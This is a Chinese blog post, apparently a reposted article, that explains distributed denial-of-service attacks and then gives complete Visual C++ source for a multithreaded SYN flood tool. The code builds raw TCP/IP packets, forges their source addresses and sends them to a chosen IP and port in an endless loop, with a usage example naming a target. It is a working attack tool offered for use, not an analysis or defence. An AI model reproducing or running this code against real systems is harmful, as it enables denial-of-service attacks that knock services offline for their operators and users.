zoukankan      html  css  js  c++  java
  • VC++实现DDos

    分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
    分布式拒绝服务攻击英文缩写即"Ddos"。DdoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的
      网络攻击中国“最受害”
    服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。DdoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DoS攻击的困难程度加大了-目标对恶意攻击包的"消化能力"加强了不少,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果。



    下面我们实现之,看代码

    #include <winsock2.h>
    #include <Ws2tcpip.h> 
    #include <stdio.h>
    
    #pragma comment(lib,"ws2_32.lib")
    #define SEQ 0x28376839
    
    int threadnum,maxthread,port;
    char *DestIP;//目标IP
    
    void display(void)  // 定义状态提示函数 
    { 
    	static int play=0;
    // 进度条 
    char *plays[12]= 
    { 
    " | ", 
     " / ", 
     " - ", 
     " \\ ",
     " | ", 
     " / ", 
     " - ", 
     " \\ ", 
     " | ", 
     " / ", 
     " - ", 
     " \\ ", 
    }; 
    
    printf("=%s= %d threads \r", plays[play],threadnum);
    play=(play==11)?0:play+1;
    } 
    
    //定义一个tcphdr结构来存放TCP首部
    typedef struct tcphdr
    {
    	USHORT th_sport;//16位源端口号
    	USHORT th_dport;//16位目的端口号
    	unsigned int th_seq;//32位序列号
    	unsigned int th_ack;//32位确认号
    	unsigned char th_lenres;//4位首部长度+6位保留字中的4位
    	unsigned char th_flag;////6位标志位
    	USHORT th_win;//16位窗口大小
    	USHORT th_sum;//16位效验和
    	USHORT th_urp;//16位紧急数据偏移量
    }TCP_HEADER; 
    
    //定义一个iphdr来存放IP首部
    typedef struct iphdr//ip首部
    {
            unsigned char h_verlen;//4位手部长度,和4位IP版本号
            unsigned char tos;//8位类型服务
            unsigned short total_len;//16位总长度
            unsigned short ident;//16位标志
            unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)
            unsigned char ttl;//8位生存时间
            unsigned char proto;//8位协议
            unsigned short checksum;//ip手部效验和
            unsigned int sourceIP;//伪造IP地址
            unsigned int destIP;//攻击的ip地址
    }IP_HEADER;
    
    //TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性
    struct
    {
    	unsigned long saddr;//源地址
    	unsigned long daddr;//目的地址
    	char mbz;//置空
    	char ptcl;//协议类型
    	unsigned short tcpl;//TCP长度
    }PSD_HEADER; 
    
    //计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
    //然后计算整个IP首部的二进制反码的和。
    USHORT checksum(USHORT *buffer, int size)
    {
    	unsigned long cksum=0;
    	while(size >1) {
    		cksum+=*buffer++;
    		size-=sizeof(USHORT);
    	}
    	if(size) cksum+=*(UCHAR*)buffer;
    	cksum=(cksum >> 16)+(cksum&0xffff);
    	cksum+=(cksum >>16);
    	return (USHORT)(~cksum); 
    }
    
    DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
    {
    
    SOCKET  sock =NULL;
    int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
    struct sockaddr_in sockAddr;
    TCP_HEADER  tcpheader;
    IP_HEADER   ipheader;
    char        sendBuf[128];
    
    	sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
    	if(sock==INVALID_SOCKET)
    	{
    		printf("Socket failed: %d\n",WSAGetLastError());
    	return 0;
    	}
    
    	//设置IP_HDRINCL以便自己填充IP首部
    	ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
    	if(ErrorCode==SOCKET_ERROR)
    	{
    	        printf("Set sockopt failed: %d\n",WSAGetLastError());
    	return 0;
    	}
    	//设置发送超时
    	ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
    	if(ErrorCode==SOCKET_ERROR)
    	{
    	        printf("Set sockopt time out failed: %d\n",WSAGetLastError());
    	return 0;
    	}
        //设置目标地址
    	memset(&sockAddr,0,sizeof(sockAddr));
    	sockAddr.sin_family=AF_INET;
    	sockAddr.sin_addr.s_addr =inet_addr(DestIP);
    	FakeIpNet=inet_addr(DestIP);
    	FakeIpHost=ntohl(FakeIpNet);
        //填充IP首部
    	ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
    	ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
    	ipheader.ident = 1;
    	ipheader.frag_and_flags = 0;
    	ipheader.ttl = 128;
    	ipheader.proto = IPPROTO_TCP;
    	ipheader.checksum =0;
    	ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
    	ipheader.destIP = inet_addr(DestIP);
        //填充TCP首部
    	tcpheader.th_dport=htons(port);
    	tcpheader.th_sport = htons(8080);
    	tcpheader.th_seq = htonl(SEQ+SendSEQ);
    	tcpheader.th_ack = 0;
    	tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
    	tcpheader.th_flag = 2;
    	tcpheader.th_win = htons(16384);
    	tcpheader.th_urp = 0;
    	tcpheader.th_sum = 0;
    
    	PSD_HEADER.saddr=ipheader.sourceIP;
    	PSD_HEADER.daddr=ipheader.destIP;
    	PSD_HEADER.mbz=0; 
    	PSD_HEADER.ptcl=IPPROTO_TCP;
    	PSD_HEADER.tcpl=htons(sizeof(tcpheader));
    
    	for(;;)
    	{
    		
           	SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
    		ipheader.checksum =0;
    		ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
    		tcpheader.th_seq = htonl(SEQ+SendSEQ);
    		tcpheader.th_sport = htons(SendSEQ);
    		tcpheader.th_sum = 0;
    		PSD_HEADER.saddr=ipheader.sourceIP;
    		//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
    		memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
    		memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
    		tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
    
    		memcpy(sendBuf,&ipheader,sizeof(ipheader));
    		memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
    		memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
    		dataSize=sizeof(ipheader)+sizeof(tcpheader);
    		ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
    		memcpy(sendBuf,&ipheader,sizeof(ipheader));
    
    		sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
    	    display();
       
    	
    	}//end for
        Sleep(20);
        InterlockedExchangeAdd((long *)&threadnum,-1);
    
    	return 0;
    }
    
    void usage(char *name)
    {
    printf("\t===================SYN Flood======================\n");
    printf("\t==========gxisone@hotmail.com     2004/7/6========\n");
    printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
    printf("\tExample: %s 192.168.1.1 80 100\n",name);
    }
    
    int main(int argc,char* argv[])
    {
        
    	if(argc!=4)
    	{
    	
    		usage(argv[0]);
    		return 0;
    	}
    	usage(argv[1]);
    
    	int ErrorCode=0;
    	DestIP=argv[1];//取得目标主机IP
    	port=atoi(argv[2]);//取得目标端口号
    	maxthread=(maxthread>100)?100:atoi(argv[3]);
    	//如果线程数大于100则把线程数设置为100
    
    	WSADATA wsaData;
    
    	if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
    	        printf("WSAStartup failed: %d\n",ErrorCode); 
    	        return 0;
    	}
    
    
    
    	printf("[start]...........\nPress any key to stop!\n");
    
    	while(threadnum<maxthread)//循环创建线程
    	{
        if(CreateThread(NULL,0,SynfloodThread,0,0,0))
    	{
    		Sleep(10);
    	    threadnum++;
    	}
    	}
    	WSACleanup();
    	printf("\n[Stopd]...........\n");
    	
    	return 0;
    }
    
    
    
    


  • 相关阅读:
    python模块—socket
    mac os系统的快捷键
    教你如何将UIImageView视图中的图片变成圆角
    关于ASP.NET MVC
    iOS 日期格式的转换
    将App通过XCode上传到AppStore 出现这个错误“An error occurred uploading to the iTunes Store”的解决方法
    关于MAC OS下面两个软件的功能改进——Dictionary和Fit 输入法
    分享一下上个星期的香港行程
    【博客园IT新闻】博客园IT新闻 iPhone 客户端发布
    解决Entity Framework Code First 的问题——Model compatibility cannot be checked because the database does not contain model metadata
  • 原文地址:https://www.cnblogs.com/new0801/p/6177619.html
Copyright © 2011-2022 走看看